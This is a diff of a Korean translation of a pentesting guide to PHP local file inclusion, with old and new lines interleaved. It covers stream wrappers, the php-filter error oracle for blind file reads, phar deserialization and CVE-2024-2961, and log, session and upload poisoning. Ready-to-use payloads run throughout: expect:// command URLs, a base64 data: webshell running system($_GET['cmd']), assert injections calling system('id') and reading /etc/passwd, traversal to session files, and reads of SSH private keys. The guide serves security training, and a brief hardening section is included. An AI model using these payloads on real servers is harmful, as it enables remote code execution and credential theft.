- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv..`)합니다. 지원되는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
+- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv..`). 지원하는 **모든 인코딩의 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
-> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 참고하세요.
+> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하도록 하는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) 를 참고하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: 콘텐츠를 압축(많은 정보를 exfiltrating할 때 유용)
-- `zlib.inflate`: 데이터를 압축 해제
+- `zlib.deflate`: 콘텐츠를 압축합니다 (대량의 정보를 유출할 때 유용)
+- `zlib.inflate`: 데이터를 압축 해제합니다
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : 사용 중단
-- `mdecrypt.*` : 사용 중단
+- `mcrypt.*` : 사용 중단됨
+- `mdecrypt.*` : 사용 중단됨
- 기타 필터
-- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
+- PHP에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
-- `dechunk`: HTTP chunked encoding을 되돌림
+- `dechunk`: HTTP chunked 인코딩을 역변환합니다
- `convert.*`
```php
# String Filters
@@ -270,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
-> The part "php://filter" is case insensitive
+> 해당 부분 "php://filter" 은 대소문자를 구분하지 않습니다
-### php filters를 oracle로 사용하여 임의의 파일 읽기
+### php filters as oracle를 사용하여 임의 파일 읽기
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않는 상황에서 로컬 파일을 읽는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 oracle로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
-원문 포스트에는 기법에 대한 자세한 설명이 있지만, 여기서는 간단 요약을 제공합니다:
+원문 포스트에는 기법에 대한 자세한 설명이 있으니 참고하시고, 여기서는 간단한 요약을 제공합니다:
-- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
-- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
-- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
-- 이것은 이전 필터와 결합되어(추측된 문자에 따라 다른 필터들과 함께) 여러 변환을 적용했을 때 해당 문자가 hexadecimal 문자가 아닐 때를 관찰함으로써 텍스트의 첫 문자를 추측할 수 있게 합니다. 만약 hexadecimal이라면 dechunk가 삭제하지 않으며 초기 폭탄이 php error를 발생시킵니다.
-- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
-- 초기에 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak할 수 있습니다(또한 다른 codecs를 사용해 다른 문자들을 hex 범위로 옮길 수 있습니다).
-- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
-- 최종 문제는 **how to leak more than the initial letter**입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory filters를 사용하면 문자 순서를 바꿔 텍스트의 다른 문자들을 첫 위치로 올릴 수 있습니다.
-- 그리고 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16**로 처음에 **2 bytes of junk data at the beginning**을 생성하고, **UCS-4LE**를 적용해 다음 2바이트와 **pivot**하게 한 뒤, d**elete the data until the junk data** (이렇게 하면 초기 텍스트의 첫 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
+- 코덱 **`UCS-4LE`** 를 사용해 텍스트의 선행 문자를 앞에 남겨두고 문자열의 크기가 기하급수적으로 증가하게 만듭니다.
+- 이렇게 하면 초기 문자가 정확히 맞았을 때 **매우 큰 텍스트를 생성**하여 php가 **error** 를 발생시킬 수 있습니다.
+- **dechunk** 필터는 **첫 문자가 hexadecimal이 아니면 모든 것을 제거**하므로, 첫 문자가 hex인지 아닌지 알 수 있습니다.
+- 앞의 것과 (그리고 추측한 문자에 따라 다른 필터들과) 결합하면, 충분한 변환을 했을 때 해당 문자가 hexadecimal 문자가 아니게 되는 시점을 보고 텍스트의 처음 문자를 추측할 수 있습니다. 만약 hex라면 dechunk가 삭제하지 않고 초기 폭탄이 php error를 발생시킵니다.
+- 코덱 **convert.iconv.UNICODE.CP930** 은 모든 문자를 다음 문자로 변환합니다(예: 이 코덱 후: a -> b). 따라서 예를 들어 첫 문자가 `a`인지 알아내려면 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 더 이상 hexadecimal 문자가 아니게 되고, 그 결과 dechunk가 삭제하지 않아 초기 폭탄과 합쳐져 php error가 발생합니다.
+- 처음에 **rot13** 같은 변환을 적용하면 n, o, p, q, r 같은 다른 문자들을 leak할 수 있으며(그리고 다른 코덱들을 사용해 다른 문자들을 hex 범위로 이동시킬 수 있습니다).
+- 초기 문자가 숫자일 경우에는 base64 encode가 필요하며 숫자를 알아내려면 앞의 2문자를 leak해야 합니다.
+- 최종 문제는 **초기 문자 이상을 어떻게 leak할지** 입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 같은 order memory 필터를 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
+- 추가 데이터를 얻기 위해서는 아이디어는 **convert.iconv.UTF16.UTF16** 으로 시작 시점에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 그것을 다음 2바이트와 **피벗**시키며, **정크 데이터가 나올 때까지 데이터를 삭제**하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트까지 도달할 때까지 이 과정을 반복합니다.
-In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+포스트에서는 이 과정을 자동으로 수행하는 도구도 공개되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
-This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
+이 wrapper는 프로세스가 연 파일 디스크립터에 접근할 수 있게 해줍니다. 열린 파일들의 내용을 exfiltrate하는 데 잠재적으로 유용할 수 있습니다:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
+You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack)
-### zip:// and rar://
+### zip:// 및 rar://
-PHPShell이 포함된 Zip or Rar file을 업로드하고 접근하세요.\
-rar protocol을 남용하려면 **특별히 활성화되어야 합니다**.
+PHPShell이 들어있는 Zip 또는 Rar 파일을 업로드한 뒤 접근하세요.\
+rar 프로토콜을 악용하려면 **명시적으로 활성화되어야 합니다**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -327,24 +328,24 @@ http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
-이 프로토콜은 php 설정 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한됩니다.
+이 프로토콜은 php 설정인 **`allow_url_open`** 및 **`allow_url_include`**에 의해 제한된다는 점에 유의하세요
### expect://
-Expect가 활성화되어 있어야 합니다. 이를 통해 code를 실행할 수 있습니다:
+Expect는 활성화되어 있어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
-POST 파라미터에 페이로드를 지정하세요:
+POST 파라미터에 payload를 지정하세요:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-웹 애플리케이션이 파일 로딩에 `include`와 같은 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 예를 보여줍니다:
+웹 애플리케이션이 `include` 같은 파일 로딩 함수를 사용할 때 `.phar` 파일을 이용해 PHP 코드를 실행할 수 있습니다. 아래 PHP 코드 스니펫은 `.phar` 파일을 생성하는 방법을 보여줍니다:
```php
stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
-실행하면 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
+실행 시 `test.phar`라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 잠재적으로 활용될 수 있습니다.
-LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()` 같은 함수로 파일을 단순히 읽는 경우, `phar` 프로토콜로 파일을 읽을 때 발생하는 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.
+LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수들을 통해 단순히 파일을 읽기만 하는 경우, phar 프로토콜을 이용한 파일 읽기에 연관된 deserialization 취약점을 이용해 공격을 시도할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용한 파일 읽기와 관련이 있습니다.
-자세한 내용을 이해하려면 아래 문서를 참조하세요:
+For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@@ -372,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
-**php filters를 지원하는 PHP에서 읽는 임의의 파일**을 악용하여 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-매우 간단 요약: PHP 힙의 **3 byte overflow**를 악용해 특정 크기의 free chunk 체인을 **변조하여** 임의의 주소에 **무엇이든 쓸 수 있게** 했고, 그 결과 **`system`**을 호출하는 훅을 추가했습니다.\
-추가적인 php filters를 악용해 특정 크기의 chunk를 할당하는 것이 가능했습니다.
+It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+매우 간단 요약: PHP 힙에서 발생한 **3 byte overflow**를 악용하여 특정 크기의 **free chunks 체인**을 변경함으로써 **임의 주소에 무엇이든 쓸 수 있게** 되었고, 그 결과 `system`을 호출하도록 후킹이 추가되었습니다.\
+추가적인 php filters를 악용해 특정 크기의 청크를 할당할 수 있었습니다.
-### 더 많은 프로토콜
+### 추가 프로토콜
-더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
+더 많은 가능한[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)를 확인하세요:
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지 확실하지 않음)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion 공격에서 어떻게 유용할지는 확실하지 않습니다)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 검색 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의의 파일을 읽는 데 유용하지 않음)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데에는 유용하지 않음)
## PHP의 'assert'를 통한 LFI
-문자열 내 코드를 실행할 수 있는 'assert' 함수와 관련된 경우 PHP에서 Local File Inclusion (LFI)의 위험이 특히 높습니다. 특히 입력값에 ".."와 같은 디렉터리 트래버설 문자가 포함되어 있는지 확인만 하고 적절히 정제되지 않으면 문제가 됩니다.
+PHP에서 문자열 내의 코드를 실행할 수 있는 'assert' 함수를 사용할 때 Local File Inclusion (LFI) 위험이 특히 큽니다. 특히 입력에 ".." 같은 directory traversal 문자가 포함되어 있는지를 검사하더라도 이를 적절히 정제(sanitize)하지 않으면 문제가 됩니다.
-예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:
+예를 들어, PHP 코드는 다음과 같이 directory traversal을 방지하도록 설계될 수 있습니다:
```bash
assert("strpos('$file', '..') === false") or die("");
```
-이는 traversal를 막기 위한 시도이지만, 의도치 않게 code injection 벡터를 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
+이는 traversal를 차단하려는 목적이지만, 의도치 않게 code injection을 위한 vector를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면, attacker는 다음을 사용할 수 있습니다:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
-마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있습니다:
+마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있다:
```plaintext
' and die(system("id")) or '
```
@@ -410,13 +411,13 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
-> 이 기법은 당신이 **control** 하는 **file path** 를 가진 **PHP function** 이 **파일에 접근(access a file)** 하지만 파일의 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출처럼)와 관련이 있습니다.
+> 이 기법은 당신이 **제어하는** **파일 경로**를 갖는 **PHP 함수**가 **파일에 접근**하도록 호출되지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼) 관련이 있습니다.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
-요약하자면, 이 기법은 **"UCS-4LE" encoding** 을 사용해 파일의 내용을 매우 **big** 하게 만들어 해당 파일을 여는 **PHP function opening** 이 **error** 를 발생시키도록 하는 방식입니다.
+요약하면, 이 기법은 파일의 내용을 **매우 크게** 만들기 위해 **"UCS-4LE" encoding**을 사용하여 파일을 여는 **PHP 함수가 오류를 유발**하도록 하는 방식입니다.
-그 다음, 첫 문자를 leak 하기 위해 filter **`dechunk`** 를 다른 것들(예: **base64**, **rot13**)과 함께 사용하고 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용하여 **place other chars at the beggining and leak them**.
+그 다음, 첫 번째 문자를 **leak**하기 위해 필터 **`dechunk`** 를 다른 필터들(예: **base64**, **rot13**)과 함께 사용하고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 를 사용해 **문자들을 앞에 배치하고 leak**합니다.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@@ -426,20 +427,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
-서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용하여 대상 경로를 조합할 때, canonicalising 및 유효성 검사를 하지 않으면 `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기가 발생할 수 있습니다. 페이로드를 web-exposed 디렉터리에 놓을 수 있다면, 보통 webshell 을 drop 해서 인증 없이 RCE 를 얻을 수 있습니다.
+서버 측 코드가 사용자 제어 데이터(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalise(정규화)하거나 검증하지 않으면, `..` 세그먼트나 절대 경로를 통해 의도된 디렉터리를 벗어나 임의 파일 쓰기가 발생할 수 있습니다. 페이로드를 웹에 노출된 디렉터리에 배치할 수 있다면, 보통 webshell을 업로드하여 인증 없는 RCE를 얻을 수 있습니다.
Typical exploitation workflow:
-- 경로/파일명을 받아 디스크에 내용을 쓰는 엔드포인트 또는 background worker(예: 메시지 기반 ingestion, XML/JSON command handlers, ZIP extractors 등)에서 write primitive 를 식별합니다.
-- web-exposed directories 를 파악합니다. 일반적인 예:
+- 경로/파일명을 받아 내용을 디스크에 쓰는 쓰기 primitive를 제공하는 endpoint나 background worker를 식별합니다(예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
+- 웹에 노출된 디렉터리를 확인합니다. 일반적인 예시:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- 의도한 저장 디렉터리에서 webroot 로 빠져나오도록 traversal path 를 만들고, 웹셸 내용을 포함시킵니다.
-- 배치된 페이로드에 브라우저로 접속하여 명령을 실행합니다.
+- 의도된 저장 디렉터리에서 webroot로 빠져나오도록 traversal 경로를 구성하고, webshell 내용을 포함시킵니다.
+- 배치된 페이로드로 이동하여 명령을 실행합니다.
Notes:
-- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004 의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 당신의 페이로드를 제공할 수 있습니다.
-- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
+- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 이후 메인 웹 포털(다른 포트)이 당신의 페이로드를 서빙할 수 있습니다.
+- Java 스택에서는 이러한 파일 쓰기가 단순한 `File`/`Paths` 문자열 결합으로 구현되는 경우가 많습니다. 정규화/허용 목록 부재가 핵심 결함입니다.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@@ -465,25 +466,25 @@ in.transferTo(out);
```
-Hardening that defeats this class of bugs:
-- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리의 하위 경로인지 강제 검사합니다.
-- `..`가 포함되거나 절대 루트 또는 드라이브 문자가 있는 경로는 거부하고, 가능한 경우 생성된 파일 이름을 사용하세요.
-- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 서비스되는 루트와 분리하세요.
+이 유형의 버그를 막는 하드닝:
+- 경로를 정규 경로로 해석하고 허용된 베이스 디렉토리의 하위인지 강제하세요.
+- `..`, 절대 루트(absolute roots) 또는 드라이브 문자(drive letters)가 포함된 경로는 거부하세요; 생성된 파일 이름을 사용하세요.
+- writer를 낮은 권한 계정으로 실행하고 쓰기 디렉토리를 서비스 루트와 분리하세요.
## Remote File Inclusion
-Explained previously, [**follow this link**](#remote-file-inclusion).
+앞서 설명했습니다, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
-Apache나 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**에 접근을 시도해 **user agent** 또는 **GET parameter**에 **``** 같은 PHP shell을 기록한 뒤 그 파일을 include할 수 있습니다.
+만약 Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약하다면**, **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도해 **user agent**나 **GET parameter**에 **``** 같은 php shell을 넣고 그 파일을 include할 수 있습니다.
> [!WARNING]
-> 쉘에 대해 **double quotes**를 사용하고 **simple quotes** 대신 사용할 경우, 큰따옴표는 문자열 "_**quote;**_"로 변환되어 **PHP가 오류를 발생시키고**, **다른 어떤 것도 실행되지 않습니다**.
+> 셸에 **double quotes**를 **simple quotes** 대신 사용하면 큰따옴표가 문자열 "_**quote;**_"로 변경되고, 그 지점에서 **PHP가 에러를 발생시키며** 다른 것은 **실행되지 않습니다**.
>
-> 또한, **payload를 정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 일으키고 두 번째 기회가 주어지지 않습니다.
+> 또한 페이로드를 **정확히 작성**해야 합니다. 그렇지 않으면 로그 파일을 로드할 때마다 PHP가 에러를 내고 다시 시도할 기회를 얻지 못합니다.
-다른 로그에서도 동일한 방법을 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 파괴될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64로 인코딩된 "user:password"가 포함되며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입할 수 있습니다.\
+이 방법은 다른 로그에서도 시도할 수 있지만 **주의하세요,** 로그 내부의 코드가 URL encoded되어 Shell이 손상될 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
Other possible log paths:
```python
/var/log/apache2/access.log
@@ -500,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통해
-**메일을 보내기**: 내부 계정 (user@localhost)으로 `` 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 **`/var/mail/`** 또는 **`/var/spool/mail/`** 경로로 include 해보세요.
+**메일을 전송**하여 내부 계정 (user@localhost)으로 PHP payload인 ``를 포함한 메일을 보내고, 사용자 메일을 다음 경로들처럼 포함하려 시도하세요: **`/var/mail/`** 또는 **`/var/spool/mail/`**
-### /proc/\*/fd/\*을 통해
+### /proc/\*/fd/\*를 통해
-1. 많은 shells를 업로드하세요 (예: 100)
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다.
+1. 많은 shells(예: 100개)를 업로드하세요
+2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 include하세요. 여기서 $PID = 프로세스의 PID(무차별 대입으로 찾을 수 있음)이고 $FD는 파일 디스크립터(역시 무차별 대입 가능)입니다
-### /proc/self/environ을 통해
+### /proc/self/environ를 통해
-로그 파일과 마찬가지로, User-Agent에 payload를 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
+로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일 안에 반영됩니다
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
-### upload를 통해
+### 업로드를 통해
-파일을 upload할 수 있다면, 그냥 그 안에 shell payload를 inject하세요 (예: ``).
+파일을 업로드할 수 있다면, 그 안에 shell payload를 주입하세요 (예: `` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
+파일을 읽기 쉬운 상태로 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 좋습니다
### Zip 파일 업로드를 통해
-PHP shell을 포함한 압축된 ZIP 파일을 업로드하고 접근:
+PHP shell이 포함된 ZIP 파일을 업로드한 뒤 접근:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### PHP sessions을 통해
+### PHP sessions를 통해
-웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.
+웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-PHP에서는 이 세션들이 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다.
+PHP에서 이러한 세션은 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 파일에 저장됩니다
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@@ -544,105 +545,105 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=&pass=password&lang=en_us.php
```
-LFI를 사용하여 PHP 세션 파일 포함하기
+LFI를 사용하여 PHP 세션 파일을 포함하세요.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
-### ssh를 통한
+### ssh를 통해
-ssh가 활성화되어 있다면 /proc/self/status & /etc/passwd 를 확인해 어떤 사용자가 사용되는지 파악하고 **\/.ssh/id_rsa**에 접근을 시도해 보세요.
+ssh가 활성화되어 있으면 (/proc/self/status & /etc/passwd)를 확인하여 어떤 사용자가 사용되는지 확인하고 **\/.ssh/id_rsa**에 접근해 보세요.
-### **vsftpd** _**logs**_를 통한
+### **vsftpd** _**로그**_를 통해
-FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
+FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 있습니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
-2. 주입 후, LFI를 이용해 서버 로그 _**/var/log/vsftpd.log**_를 조회합니다.
+2. 주입 후, LFI를 이용하여 서버 로그 _**/var/log/vsftpd.log**_를 가져옵니다.
-### php base64 filter (using base64)를 통한
+### php base64 filter를 통해 (base64 사용)
-[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 문서에서 설명한 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면 필터는 "."을 무시하고 "php"를 base64에 덧붙입니다. 예시 페이로드는 다음과 같습니다:
+이 [기사](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)에서 보여주듯, PHP base64 filter는 non-base64 문자를 무시합니다. 이를 사용해 파일 확장자 검사를 우회할 수 있습니다: base64 끝에 ".php"를 붙여 전달하면, filter는 "."를 무시하고 base64에 "php"를 추가합니다. 예시 페이로드는 다음과 같습니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### Via php filters (no file needed)
+### php filters를 통한 방법 (파일 필요 없음)
